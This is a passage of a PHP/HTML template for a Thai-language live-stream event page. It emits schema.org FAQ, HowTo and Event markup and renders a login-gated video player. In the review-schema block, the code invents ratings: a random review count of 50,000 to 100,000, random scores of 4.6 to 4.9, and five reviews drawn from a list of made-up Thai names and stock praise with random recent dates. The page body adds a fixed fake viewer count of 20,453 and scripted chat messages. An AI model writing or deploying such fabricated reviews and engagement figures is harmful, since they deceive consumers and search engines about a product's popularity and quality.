$registerText = 'ขั้นตอนที่ 1: เปิดลิงก์สมัครสมาชิก ขั้นตอนที่ 2: กรอกข้อมูลให้ครบ ขั้นตอนที่ 3: ส่งฟอร์มเพื่อสร้างบัญชี ' . $brandName . '.';
}
$qaEntities[] = array(
'@type' => 'Question',
'name' => 'สมัครสมาชิก ' . $brandName . ' อย่างไร?',
'acceptedAnswer' => array(
'@type' => 'Answer',
'text' => $registerText
)
);
$loginText = 'ขั้นตอนที่ 1: กดปุ่ม ลงชื่อเข้าใช้ ขั้นตอนที่ 2: กรอกข้อมูลบัญชี ' . $brandName . ' ขั้นตอนที่ 3: ส่งเพื่อเข้าสู่ระบบและรับชมสตรีม.';
if (isset($event['login_url']) && trim((string) $event['login_url']) !== '') {
$loginText = 'ขั้นตอนที่ 1: เปิดลิงก์ลงชื่อเข้าใช้ ขั้นตอนที่ 2: กรอกข้อมูลบัญชี ' . $brandName . ' ขั้นตอนที่ 3: ส่งเพื่อเข้าสู่ระบบและรับชมสตรีม.';
}
$qaEntities[] = array(
'@type' => 'Question',
'name' => 'เข้าสู่ระบบ ' . $brandName . ' อย่างไร?',
'acceptedAnswer' => array(
'@type' => 'Answer',
'text' => $loginText
)
);
}
// FAQ for SoftwareApplication and Product
if (!empty($screenshots)) {
$qaEntities[] = array(
'@type' => 'Question',
'name' => $pageTitle . ' รองรับอุปกรณ์อะไรบ้าง?',
'acceptedAnswer' => array(
'@type' => 'Answer',
'text' => $pageTitle . ' รองรับการใช้งานบน Web Browser, iOS และ Android สามารถเข้าถึงได้จากคอมพิวเตอร์ แท็บเล็ต และสมาร์ตโฟนทุกรุ่น'
)
);
$qaEntities[] = array(
'@type' => 'Question',
'name' => $pageTitle . ' ราคาเท่าไหร่?',
'acceptedAnswer' => array(
'@type' => 'Answer',
'text' => $pageTitle . ' ราคา 300 บาท สามารถชำระเงินผ่าน PromptPay ธนาคารไทย (SCB, KBank, BBL) Rabbit LINE Pay และ TrueMoney Wallet'
)
);
$qaEntities[] = array(
'@type' => 'Question',
'name' => 'เข้าใช้งาน ' . $pageTitle . ' ได้ที่ไหน?',
'acceptedAnswer' => array(
'@type' => 'Answer',
'text' => 'สามารถเข้าใช้งาน ' . $pageTitle . ' ได้ที่ ' . $canonicalUrl . ' รองรับทั้ง iOS, Android และ Web Browser โดยไม่ต้องติดตั้งแอปพลิเคชัน'
)
);
if (!isset($returnPolicyUrl) || $returnPolicyUrl === '') {
$returnPolicyUrl = $siteBaseUrl . (supports_pretty_urls() ? '/return-policy' : '/?mode=return-policy');
}
$qaEntities[] = array(
'@type' => 'Question',
'name' => 'นโยบายคืนเงิน ' . $pageTitle . ' เป็นอย่างไร?',
'acceptedAnswer' => array(
'@type' => 'Answer',
'text' => 'รองรับการคืนเงินภายใน 7 วันหลังการซื้อ หากไม่พึงพอใจในบริการ สามารถติดต่อฝ่ายบริการลูกค้าเพื่อขอคืนเงินได้ ดูรายละเอียดเพิ่มเติมที่ ' . $returnPolicyUrl
)
);
}
?>
<?php if (!empty($qaEntities)) : ?>
<script type="application/ld+json">
<?php
$faqAbout = array();
$faqAbout[] = array('@id' => $canonicalUrl . '#event');
if (!empty($screenshots)) {
$faqAbout[] = array('@id' => $canonicalUrl . '#software');
$faqAbout[] = array('@id' => $canonicalUrl . '#product');
}
$qaPageSchema = array(
'@context' => 'https://schema.org',
'@type' => 'FAQPage',
'mainEntity' => $qaEntities,
'inLanguage' => array('th-TH', 'en')
);
if (!empty($faqAbout)) {
$qaPageSchema['about'] = $faqAbout;
}
echo safe_json_encode($qaPageSchema, JSON_PRETTY_PRINT);
?>
</script>
<?php endif; ?>
<!-- BreadcrumbList Schema -->
<script type="application/ld+json">
<?php
echo safe_json_encode(array(
'@context' => 'https://schema.org',
'@type' => 'BreadcrumbList',
'itemListElement' => array(
array(
'@type' => 'ListItem',
'position' => 1,
'name' => 'หน้าแรก',
'item' => get_homepage_url()
),
array(
'@type' => 'ListItem',
'position' => 2,
'name' => $pageTitle . ' ถ่ายทอดสด',
'item' => $canonicalUrl
)
)
), JSON_PRETTY_PRINT);
?>
</script>
<!-- AggregateRating and Review Schema -->
<?php
// Generate random review count between 50000-100000
$reviewCount = mt_rand(50000, 100000);
$ratingValue = round(mt_rand(46, 49) / 10, 1); // 4.6 - 4.9
// Sample reviewer names for realistic reviews
$reviewerNames = array(
'สมชาย ใจดี', 'สมหญิง รักเรียน', 'ประภาส วงศ์สุข', 'วิภา แสงทอง', 'ธนา กิจเจริญ',
'ชลธิชา สายใจ', 'ณัฐพล สุขสันต์', 'กัลยา วัฒนาพร', 'ปิยะนุช ภักดี', 'เกรียงไกร ชูชัย',
'สุภัทรา สายรุ้ง', 'อนุชา ศรีทอง', 'รุ่งโรจน์ ศรีสุข', 'รัตนา พูนผล', 'ศุภชัย มั่นคง',
'นภา ศรีสุข', 'พิชัย มั่นคง', 'อรุณ แสงจันทร์', 'กมล วัฒนา', 'ปรีชา ยินดี'
);
// Sample review texts
$reviewTexts = array(
'คุณภาพการถ่ายทอดสดดีมาก ภาพชัด เสียงชัด ประทับใจครับ',
'งานถ่ายทอดสดดีมาก สนุกและได้ความรู้เยอะ',
'การผลิตงานเป็นมืออาชีพ ดูแล้วลื่นไหล',
'เนื้อหาดีมาก ได้ไอเดียไปต่อยอดเยอะ',
'ถ่ายทอดสดไม่มีสะดุด คุณภาพระดับมืออาชีพ',
'ระบบแชตโต้ตอบดีมาก มีส่วนร่วมสนุก',
'จัดรายการดีมาก ติดตามได้ง่าย',
'เสียงและภาพสม่ำเสมอ เหมาะกับรับชมบนมือถือ',
'แนะนำให้คนที่สนใจหัวข้อนี้ได้มาดูจริงๆ',
'สุดยอดมาก! รอดูครั้งหน้าอีกแน่นอน'
);
// Generate 5 sample reviews
$sampleReviews = array();
$usedNames = array();
for ($i = 0; $i < 5; $i++) {
do {
$nameIndex = mt_rand(0, count($reviewerNames) - 1);
} while (in_array($nameIndex, $usedNames));
$usedNames[] = $nameIndex;
$reviewRating = mt_rand(4, 5);
$daysAgo = mt_rand(1, 30);
$reviewDate = date('Y-m-d', strtotime("-{$daysAgo} days"));
$sampleReviews[] = array(
'@type' => 'Review',
'author' => array(
'@type' => 'Person',
'name' => $reviewerNames[$nameIndex]
),
'datePublished' => $reviewDate,
'reviewBody' => $reviewTexts[mt_rand(0, count($reviewTexts) - 1)],
'reviewRating' => array(
'@type' => 'Rating',
'ratingValue' => $reviewRating,
'bestRating' => 5,
'worstRating' => 1
)
);
}
// Build performers array for review schema
$reviewPerformers = array();
foreach ($speakers as $speaker) {
if (!isset($speaker['name']) || $speaker['name'] === '') {
continue;
}
$reviewPerformers[] = array(
'@type' => 'Person',
'name' => $speaker['name'],
'jobTitle' => isset($speaker['title']) ? $speaker['title'] : ''
);
}
$reviewSchema = array(
'@context' => 'https://schema.org',
'@type' => 'Event',
'@id' => $canonicalUrl . '#reviews',
'name' => $pageTitle,
'description' => $pageDescription,
'startDate' => $startDateTime,
'endDate' => $endDateTime,
'eventStatus' => isset($event['event_status']) ? $event['event_status'] : 'https://schema.org/EventScheduled',
'eventAttendanceMode' => 'https://schema.org/OnlineEventAttendanceMode',
'location' => array(
'@type' => 'VirtualLocation',
'url' => $canonicalUrl
),
'image' => $thumbnailUrl !== '' ? $thumbnailUrl : null,
'organizer' => array(
'@type' => 'Organization',
'name' => isset($event['author']) ? $event['author'] : $brandName,
'url' => SITE_URL
),
'offers' => array(
'@type' => 'Offer',
'url' => $canonicalUrl,
'price' => '100',
'priceCurrency' => 'THB',
'availability' => 'https://schema.org/InStock',
'validFrom' => $startDateTime
),
'aggregateRating' => array(
'@type' => 'AggregateRating',
'ratingValue' => $ratingValue,
'bestRating' => 5,
'worstRating' => 1,
'ratingCount' => $reviewCount,
'reviewCount' => $reviewCount
),
'review' => $sampleReviews
);
// Add performers if available
if (!empty($reviewPerformers)) {
$reviewSchema['performer'] = $reviewPerformers;
}
?>
<script type="application/ld+json">
<?php echo safe_json_encode($reviewSchema, JSON_PRETTY_PRINT); ?>
</script>
<!-- HowTo Schema - วิธีรับชมการถ่ายทอดสด -->
<script type="application/ld+json">
<?php
// Build HowTo steps with proper HowToDirection format
$howToSteps = array();
// Step 1
$step1 = array(
'@type' => 'HowToStep',
'name' => 'เข้าเว็บไซต์ ' . $displayDomain,
'text' => 'เปิดเบราว์เซอร์และไปที่ ' . $canonicalUrl . ' เพื่อเข้ารับชม ' . $eventTitle . ' แบบถ่ายทอดสดบน ' . $displayDomain . '.',
'url' => $canonicalUrl . '#step1'
);
if ($thumbnailUrl !== '') {
$step1['image'] = array(
'@type' => 'ImageObject',
'url' => $thumbnailUrl,
'width' => '1200',
'height' => '630'
);
}
$howToSteps[] = $step1;
// Step 2
$step2 = array(
'@type' => 'HowToStep',
'name' => 'สมัครสมาชิกบน ' . $displayDomain,
'text' => 'ที่หน้า ' . $canonicalUrl . ' กดปุ่ม "สมัครสมาชิก" เพื่อสร้างบัญชีบน ' . $displayDomain . ' หรือเลือก "ลงชื่อเข้าใช้" หากมีบัญชีอยู่แล้ว ขั้นตอนใช้เวลาไม่นาน.',
'url' => $canonicalUrl . '#step2'
);
if ($thumbnailUrl !== '') {
$step2['image'] = array(
'@type' => 'ImageObject',
'url' => $thumbnailUrl,
'width' => '1200',
'height' => '630'
);
}
$howToSteps[] = $step2;
// Step 3
$step3 = array(
'@type' => 'HowToStep',
'name' => 'กดปุ่มเล่นบน ' . $displayDomain,
'text' => 'หลังจากลงชื่อเข้าใช้ ' . $displayDomain . ' แล้ว ให้กดปุ่มเล่นตรงกลางเครื่องเล่นวิดีโอที่หน้า ' . $canonicalUrl . ' เพื่อเริ่มรับชมการถ่ายทอดสด ' . $eventTitle . '.',
'url' => $canonicalUrl . '#step3'
);
if ($thumbnailUrl !== '') {
$step3['image'] = array(
'@type' => 'ImageObject',
'url' => $thumbnailUrl,
'width' => '1200',
'height' => '630'
);
}
$howToSteps[] = $step3;
// Step 4
$step4 = array(
'@type' => 'HowToStep',
'name' => 'รับชม ' . $eventTitle . ' บน ' . $displayDomain,
'text' => 'รับชม ' . $eventTitle . ' แบบคมชัดบน ' . $displayDomain . ' พร้อมใช้งานแชตสดที่หน้า ' . $canonicalUrl . ' เพื่อพูดคุยกับผู้ชมคนอื่นและส่งคำถามถึงวิทยากร.',
'url' => $canonicalUrl . '#step4'
);
if ($thumbnailUrl !== '') {
$step4['image'] = array(
'@type' => 'ImageObject',
'url' => $thumbnailUrl,
'width' => '1200',
'height' => '630'
);
}
$howToSteps[] = $step4;
$howToAbout = array(
array('@id' => $canonicalUrl . '#event')
);
if (!empty($screenshots)) {
$howToAbout[] = array('@id' => $canonicalUrl . '#software');
$howToAbout[] = array('@id' => $canonicalUrl . '#product');
}
// Build the HowTo schema
$howToSchema = array(
'@context' => 'https://schema.org',
'@type' => 'HowTo',
'@id' => $canonicalUrl . '#howto',
'name' => 'วิธีรับชม ' . $eventTitle . ' ถ่ายทอดสดบน ' . $displayDomain,
'description' => 'คู่มือแบบขั้นตอนเพื่อรับชม ' . $eventTitle . ' แบบถ่ายทอดสดบน ' . $displayDomain . ' ไปที่ ' . $canonicalUrl . ' เพื่อเข้าใช้งาน สมัครสมาชิก และรับชมสตรีมแบบคมชัด.',
'inLanguage' => array('th-TH', 'en'),
'totalTime' => 'PT5M',
'about' => $howToAbout,
'step' => $howToSteps
);
// Add image if available
if ($thumbnailUrl !== '') {
$howToSchema['image'] = array(
'@type' => 'ImageObject',
'url' => $thumbnailUrl,
'width' => '1200',
'height' => '630'
);
}
// Add supply (required materials)
$howToSchema['supply'] = array(
array(
'@type' => 'HowToSupply',
'name' => 'การเชื่อมต่ออินเทอร์เน็ต'
),
array(
'@type' => 'HowToSupply',
'name' => 'เว็บเบราว์เซอร์'
),
array(
'@type' => 'HowToSupply',
'name' => 'บัญชีผู้ใช้'
)
);
// Add tools
$howToSchema['tool'] = array(
array(
'@type' => 'HowToTool',
'name' => 'คอมพิวเตอร์หรือสมาร์ตโฟน'
)
);
echo safe_json_encode($howToSchema, JSON_PRETTY_PRINT);
?>
</script>
<link rel="stylesheet" href="https://cdn.krabi88.vip/css/amss/styles.min.css">
</head>
<body data-broadcast-name="<?php echo $pageTitle; ?>" data-login-url="<?php echo esc_attr(build_auth_url('login', false)); ?>" data-register-url="<?php echo esc_attr(build_auth_url('register', false)); ?>">
<!-- Skip Navigation for Accessibility -->
<a href="#main-content" class="skip-link">ข้ามไปเนื้อหาหลัก</a>
<!-- Header -->
<header class="header">
<nav class="nav" aria-label="เมนูหลัก">
<a href="<?php echo $canonicalUrl;?>" class="logo" aria-label="หน้าแรก">
<svg width="32" height="32" viewBox="0 0 32 32" fill="none" aria-hidden="true">
<circle cx="16" cy="16" r="14" stroke="currentColor" stroke-width="2"/>
<polygon points="13,10 13,22 23,16" fill="currentColor"/>
</svg>
<span><?php echo esc_html($TLDDomain); ?></span>
</a>
<!-- Search Form -->
<form class="search-form" action="<?php echo esc_attr(SITE_URL); ?>/" method="get" role="search" aria-label="ค้นหาการถ่ายทอดสด">
<div class="search-input-wrapper">
<svg class="search-icon" width="18" height="18" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" aria-hidden="true">
<circle cx="11" cy="11" r="8"/>
<line x1="21" y1="21" x2="16.65" y2="16.65"/>
</svg>
<input type="search" name="view" class="search-input" placeholder="ค้นหาการถ่ายทอดสด..." aria-label="ค้นหาการถ่ายทอดสด" autocomplete="off">
<button type="submit" class="search-submit" aria-label="ส่งคำค้นหา">
<svg width="18" height="18" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2">
<line x1="5" y1="12" x2="19" y2="12"/>
<polyline points="12,5 19,12 12,19"/>
</svg>
</button>
</div>
</form>
<!-- User Menu (shows when logged in) -->
<div class="user-menu" id="user-menu"<?php echo !$isLoggedIn ? ' hidden' : ''; ?>>
<button class="user-menu-toggle" aria-label="User menu" aria-expanded="false">
<div class="user-avatar" id="user-avatar">
<span><?php echo $isLoggedIn && $currentUser ? esc_html(substr($currentUser['firstName'], 0, 1)) : ''; ?></span>
</div>
<svg width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2">
<polyline points="6,9 12,15 18,9"/>
</svg>
</button>
<div class="user-dropdown">
<div class="user-info">
<span class="user-name" id="user-name"><?php echo $isLoggedIn && $currentUser ? esc_html($currentUser['firstName'] . ' ' . $currentUser['lastName']) : ''; ?></span>
<span class="user-email" id="user-email"><?php echo $isLoggedIn && $currentUser ? esc_html($currentUser['email']) : ''; ?></span>
</div>
<hr>
<a href="#" class="dropdown-item">บัญชีของฉัน</a>
<a href="#" class="dropdown-item">ประวัติการรับชม</a>
<hr>
<button class="dropdown-item dropdown-item--danger" id="logout-btn">
<svg width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2">
<path d="M9 21H5a2 2 0 0 1-2-2V5a2 2 0 0 1 2-2h4"/>
<polyline points="16,17 21,12 16,7"/>
<line x1="21" y1="12" x2="9" y2="12"/>
</svg>
ออกจากระบบ
</button>
</div>
</div>
<!-- Mobile Search Toggle -->
<button class="search-toggle" id="search-toggle" aria-label="แสดงช่องค้นหา" aria-expanded="false">
<svg width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2">
<circle cx="11" cy="11" r="8"/>
<line x1="21" y1="21" x2="16.65" y2="16.65"/>
</svg>
</button>
<!-- Auth Buttons (shows when logged out) -->
<div class="auth-buttons" id="auth-buttons"<?php echo $isLoggedIn ? ' hidden' : ''; ?>>
<a href="<?php echo esc_attr(build_auth_url('register', false)); ?>" class="btn btn--primary btn--sm" aria-label="สมัครสมาชิก">
<svg width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round">
<path d="M16 21v-2a4 4 0 0 0-4-4H6a4 4 0 0 0-4 4v2"/>
<circle cx="9" cy="7" r="4"/>
<line x1="19" y1="8" x2="19" y2="14"/>
<line x1="22" y1="11" x2="16" y2="11"/>
</svg>
</a>
</div>
</nav>
<!-- Mobile Search Overlay -->
<div class="search-overlay" id="search-overlay" hidden>
<form class="search-overlay-form" action="<?php echo esc_attr(SITE_URL); ?>/" method="get" role="search">
<input type="search" name="view" class="search-overlay-input" placeholder="ค้นหาการถ่ายทอดสด..." aria-label="ค้นหาการถ่ายทอดสด" autocomplete="off" autofocus>
<button type="button" class="search-overlay-close" id="search-close" aria-label="ปิดการค้นหา">
<svg width="24" height="24" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2">
<line x1="18" y1="6" x2="6" y2="18"/>
<line x1="6" y1="6" x2="18" y2="18"/>
</svg>
</button>
</form>
</div>
</header>
<!-- Main Content -->
<main id="main-content">
<span id="step1"></span>
<!-- Broadcast Hero Section -->
<section class="broadcast-hero">
<div class="container">
<!-- Live Badge -->
<?php if ($event['is_live']): ?>
<div class="live-badge" aria-live="polite">
<span class="live-dot" aria-hidden="true"></span>
<span>กำลังถ่ายทอดสด</span>
</div>
<?php endif; ?>
<!-- Broadcast Title -->
<h1 class="broadcast-title"><?php echo $pageTitle; ?></h1>
<p class="broadcast-subtitle"><?php echo $pageDescription; ?></p>
<!-- Broadcast Meta -->
<div class="broadcast-meta">
<?php
$hasValidStartDate = $startDateTime !== '' && strtotime($startDateTime) !== false;
$hasValidEndDate = $endDateTime !== '' && strtotime($endDateTime) !== false;
if ($hasValidStartDate):
?>
<time datetime="<?php echo esc_attr($startDateTime); ?>" class="broadcast-time">
<svg width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" aria-hidden="true">
<circle cx="12" cy="12" r="10"/>
<polyline points="12,6 12,12 16,14"/>
</svg>
<?php
echo format_event_date($startDateTime, 'd/m/Y');
echo ' • ';
echo format_event_time($startDateTime, 'H:i');
if ($hasValidEndDate) {
echo ' - ' . format_event_time($endDateTime, 'H:i');
}
?>
</time>
<?php endif; ?>
<span class="viewer-count" aria-label="ผู้ชมขณะนี้">
<svg width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" aria-hidden="true">
<path d="M17 21v-2a4 4 0 0 0-4-4H5a4 4 0 0 0-4 4v2"/>
<circle cx="9" cy="7" r="4"/>
<path d="M23 21v-2a4 4 0 0 0-3-3.87"/>
<path d="M16 3.13a4 4 0 0 1 0 7.75"/>
</svg>
<span id="viewer-count">20,453</span> กำลังรับชม
</span>
</div>
</div>
</section>
<!-- Video Player Section -->
<section class="video-section">
<div class="container">
<div class="video-wrapper">
<!-- Video Player Placeholder -->
<div class="video-player" role="region" aria-label="เครื่องเล่นวิดีโอ">
<div class="video-placeholder">
<img src="<?php echo esc_url($thumbnailUrl); ?>"
alt="<?php echo esc_attr($thumbnailAlt); ?>"
loading="eager"
fetchpriority="high"
decoding="async"
width="1200"
height="630"
importance="high">
<video id="live-video" class="live-video" playsinline controls poster="<?php echo esc_url($thumbnailUrl); ?>" data-stream-src="<?php echo esc_url('?stream=1&token=' . $streamToken); ?>"></video>
<span id="step3"></span>
<button class="play-button" aria-label="เล่นวิดีโอ" id="play-button">
<svg width="64" height="64" viewBox="0 0 64 64" fill="none" aria-hidden="true">
<circle cx="32" cy="32" r="30" fill="rgba(255,255,255,0.9)"/>
<polygon points="26,20 26,44 46,32" fill="#1a1a2e"/>
</svg>
</button>
</div>
<span id="step2"></span>
<!-- Login Required Overlay -->
<div class="login-overlay" id="login-overlay" hidden>
<div class="login-overlay-content">
<div class="login-overlay-icon">
<svg width="48" height="48" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2">
<rect x="3" y="11" width="18" height="11" rx="2" ry="2"/>
<path d="M7 11V7a5 5 0 0 1 10 0v4"/>
</svg>
</div>
<h2>ลงชื่อเข้าใช้เพื่อรับชม</h2>
<p>ลงชื่อเข้าใช้เพื่อรับชมการถ่ายทอดสดและเข้าถึงผลิตภัณฑ์ทั้งหมดของเรา</p>
<div class="login-overlay-buttons">
<a href="<?php echo esc_attr(build_auth_url('login', false)); ?>" class="btn btn--primary btn--sm">ลงชื่อเข้าใช้</a>
<a href="<?php echo esc_attr(build_auth_url('register', false)); ?>" class="btn btn--outline btn--sm">สร้างบัญชี</a>
</div>
<p class="login-overlay-note"></p>
</div>
</div>
</div>
<!-- Video Controls -->
<div class="video-controls">
<button class="control-btn" aria-label="สลับเต็มจอ">
<svg width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2">
<polyline points="15,3 21,3 21,9"/>
<polyline points="9,21 3,21 3,15"/>
<line x1="21" y1="3" x2="14" y2="10"/>
<line x1="3" y1="21" x2="10" y2="14"/>
</svg>
</button>
<button class="control-btn" aria-label="สลับคุณภาพ">
<span>HD</span>
</button>
<button class="control-btn share-btn" aria-label="แชร์การถ่ายทอดสด">
<svg width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2">
<circle cx="18" cy="5" r="3"/>
<circle cx="6" cy="12" r="3"/>
<circle cx="18" cy="19" r="3"/>
<line x1="8.59" y1="13.51" x2="15.42" y2="17.49"/>
<line x1="15.41" y1="6.51" x2="8.59" y2="10.49"/>
</svg>
</button>
</div>
</div>
</div>
</section>
<?php if (!empty($screenshots)): ?>
<!-- Product Carousel Section -->
<section class="product-carousel-section">
<div class="container">
<h2>คุณสมบัติเด่น</h2>
<div class="carousel-wrapper">
<button class="carousel-btn carousel-prev" aria-label="ก่อนหน้า" type="button">
<svg width="24" height="24" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2"><polyline points="15 18 9 12 15 6"/></svg>
</button>
<div class="carousel-track-container">
<div class="carousel-track">
<?php foreach ($screenshots as $idx => $screenshot):
if (!isset($screenshot['url'])) continue;
$productTitle = isset($screenshot['alt_text']) && $screenshot['alt_text'] !== '' ? $screenshot['alt_text'] : $pageTitle;
?>
<div class="carousel-slide">
<div class="product-card" data-index="<?php echo $idx; ?>">
<div class="product-card-image">
<img src="<?php echo esc_attr($screenshot['url']); ?>"
alt="<?php echo esc_attr($productTitle); ?>"
loading="lazy"
decoding="async"
width="1200"
height="1200">
</div>
<div class="product-card-content">
<h3><?php echo esc_html($productTitle); ?></h3>
</div>
</div>
</div>
<?php endforeach; ?>
</div>
</div>
<button class="carousel-btn carousel-next" aria-label="ถัดไป" type="button">
<svg width="24" height="24" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2"><polyline points="9 18 15 12 9 6"/></svg>
</button>
</div>
</div>
</section>
<?php endif; ?>
<span id="step4"></span>
<!-- Broadcast Info Section -->
<section class="broadcast-info">
<div class="container">
<!-- Tabs -->
<div class="tabs" role="tablist">
<button class="tab active" role="tab" aria-selected="true" aria-controls="about-panel" id="about-tab">
เกี่ยวกับ
</button>
<button class="tab" role="tab" aria-selected="false" aria-controls="schedule-panel" id="schedule-tab">
กำหนดการ
</button>
<button class="tab" role="tab" aria-selected="false" aria-controls="speakers-panel" id="speakers-tab">
วิทยากร
</button>
<button class="tab" role="tab" aria-selected="false" aria-controls="chat-panel" id="chat-tab">
แชตสด
</button>
</div>
<!-- Tab Panels -->
<div class="tab-panels">
<!-- About Panel -->
<div class="tab-panel active" role="tabpanel" id="about-panel" aria-labelledby="about-tab">
<div class="info-cards">
<article class="info-card">
<h3>เกี่ยวกับการถ่ายทอดสดนี้</h3>
<p>
<?php
$aboutTitle = $pageTitle !== '' ? $pageTitle : ($brandName !== '' ? $brandName : 'การถ่ายทอดสดนี้');
$aboutCity = $eventCity !== '' ? $eventCity : 'สตูดิโอของเรา';
$aboutDescription = trim($eventDescription);
if ($aboutDescription === '') {
$aboutDescription = 'การถ่ายทอดสดที่รวมการบรรยาย เดโม และการสนทนาไว้ในงานเดียว.';
}
$aboutMessage = 'ร่วมรับชม ' . $aboutTitle . ' ถ่ายทอดสดจาก ' . $aboutCity . '. '
. $aboutDescription . ' ติดตามกำหนดการ ดูรายชื่อวิทยากร และร่วมแชตสดระหว่างการถ่ายทอด.';
echo esc_html($aboutMessage);
?>
</p>
</article>
<article class="info-card">
<h3>รายละเอียดงาน</h3>
<dl>
<dt>วันที่</dt>
<dd>
<?php
$startDateLabel = format_event_date($startDateTime, 'd/m/Y');
$endDateLabel = format_event_date($endDateTime, 'd/m/Y');
echo $startDateLabel === $endDateLabel ? $startDateLabel : ($startDateLabel . ' - ' . $endDateLabel);
?>
</dd>
<dt>เวลา</dt>
<dd><?php echo format_event_time($startDateTime, 'H:i'); ?> - <?php echo format_event_time($endDateTime, 'H:i'); ?></dd>
<dt>รูปแบบ</dt>
<dd>ถ่ายทอดสดความคมชัดสูง</dd>
<dt>ภาษา</dt>
<dd>ไทยและอังกฤษ (มีคำบรรยาย)</dd>
</dl>
</article>
</div>
</div>
<!-- Schedule Panel -->
<div class="tab-panel" role="tabpanel" id="schedule-panel" aria-labelledby="schedule-tab" hidden>
<h2>กำหนดการ</h2>
<?php if (!empty($schedule)): ?>
<div class="schedule-list">
<?php foreach ($schedule as $item): ?>
<article class="schedule-item">
<time datetime="<?php echo esc_attr($item['datetime']); ?>"><?php echo esc_html($item['time']); ?></time>
<div class="schedule-content">
<h3><?php echo esc_html($item['title']); ?></h3>
<p><?php echo esc_html($item['description']); ?></p>
<?php if (!empty($item['speaker'])): ?>
<span class="speaker-name"><?php echo esc_html($item['speaker']); ?></span>
<?php endif; ?>
</div>
</article>
<?php endforeach; ?>
</div>
<?php else: ?>
<div class="empty-state">
<svg width="64" height="64" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2">
<rect x="3" y="4" width="18" height="18" rx="2" ry="2"/>
<line x1="16" y1="2" x2="16" y2="6"/>
<line x1="8" y1="2" x2="8" y2="6"/>
<line x1="3" y1="10" x2="21" y2="10"/>
</svg>
<p>ยังไม่มีกำหนดการในขณะนี้</p>
</div>
<?php endif; ?>
</div>
<!-- Speakers Panel -->
<div class="tab-panel" role="tabpanel" id="speakers-panel" aria-labelledby="speakers-tab" hidden>
<h2>วิทยากรเด่น</h2>
<?php if (!empty($speakers)): ?>
<div class="speakers-grid">
<?php foreach ($speakers as $speaker): ?>
<?php
$speakerImage = isset($speaker['image']) ? trim((string) $speaker['image']) : '';
if ($speakerImage === '') {
$initials = isset($speaker['initials']) ? trim((string) $speaker['initials']) : '';
if ($initials === '') {
$name = isset($speaker['name']) ? trim((string) $speaker['name']) : '';
$parts = preg_split('/\s+/', $name);
$first = isset($parts[0][0]) ? strtoupper($parts[0][0]) : '';
$last = isset($parts[1][0]) ? strtoupper($parts[1][0]) : '';
$initials = $first . $last;
}
if ($initials === '') {
$initials = 'SP';
}
$speakerImage = 'https://placehold.co/600x400/EEE/31343C/png?text=' . rawurlencode($initials);
}
?>
<article class="speaker-card">
<img src="<?php echo esc_url($speakerImage); ?>"
alt="<?php echo esc_attr($speaker['name']); ?>"
loading="lazy"
decoding="async"
fetchpriority="low"
width="200"
height="200">
<h3><?php echo esc_html($speaker['name']); ?></h3>
<p class="speaker-title"><?php echo esc_html($speaker['title']); ?></p>
<p class="speaker-bio"><?php echo esc_html($speaker['bio']); ?></p>
</article>
<?php endforeach; ?>
</div>
<?php else: ?>
<div class="empty-state">
<svg width="64" height="64" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2">
<path d="M17 21v-2a4 4 0 0 0-4-4H5a4 4 0 0 0-4 4v2"/>
<circle cx="9" cy="7" r="4"/>
<path d="M23 21v-2a4 4 0 0 0-3-3.87"/>
<path d="M16 3.13a4 4 0 0 1 0 7.75"/>
</svg>
<p>ยังไม่มีการประกาศรายชื่อวิทยากร</p>
</div>
<?php endif; ?>
</div>
<!-- Chat Panel -->
<div class="tab-panel" role="tabpanel" id="chat-panel" aria-labelledby="chat-tab" hidden>
<h2>แชตสด</h2>
<div class="chat-container">
<div class="chat-messages" aria-live="polite" aria-label="ข้อความแชต">
<div class="chat-message">
<span class="chat-user">Alex M.</span>
<span class="chat-text">ตื่นเต้นกับช่วงนี้มาก!</span>
<time class="chat-time">2 นาทีที่แล้ว</time>
</div>
<div class="chat-message">
<span class="chat-user">Maria K.</span>
<span class="chat-text">การนำเสนอดีมากเลย!</span>
<time class="chat-time">1 นาทีที่แล้ว</time>
</div>
<div class="chat-message">
<span class="chat-user">David L.</span>
<span class="chat-text">ขอสไลด์ประกอบได้ไหมครับ?</span>
<time class="chat-time">เมื่อสักครู่</time>
</div>
</div>
<form class="chat-form" aria-label="ส่งข้อความ">
<input type="text"
placeholder="พิมพ์ข้อความ..."
aria-label="ช่องพิมพ์ข้อความ"
autocomplete="off">
<button type="submit" aria-label="ส่งข้อความ">
<svg width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2">
<line x1="22" y1="2" x2="11" y2="13"/>
<polygon points="22,2 15,22 11,13 2,9"/>
</svg>
</button>
</form>
</div>
</div>
</div>
</div>
</section>
<?php if (!empty($qaEntities)) : ?>
<section class="broadcast-info" aria-labelledby="faq-heading">
<div class="container">
<h2 id="faq-heading">คำถามที่พบบ่อย</h2>
<div class="info-cards">
<?php foreach ($qaEntities as $qa): ?>
<article class="info-card">
<h3><?php echo esc_html(isset($qa['name']) ? $qa['name'] : ''); ?></h3>
<p>
<?php
$answer = '';
if (isset($qa['acceptedAnswer']) && is_array($qa['acceptedAnswer'])) {
$answer = isset($qa['acceptedAnswer']['text']) ? $qa['acceptedAnswer']['text'] : '';
}
echo esc_html($answer);
?>
</p>
</article>
<?php endforeach; ?>
</div>
</div>
</section>
<?php endif; ?>
<?php if (!empty($anotherLiveBroadcast) && !empty($externalThumbnail) && !empty($externalUrls)): ?>
<!-- Another Live Broadcast Section -->
<section class="another-broadcast-section">
<div class="container">
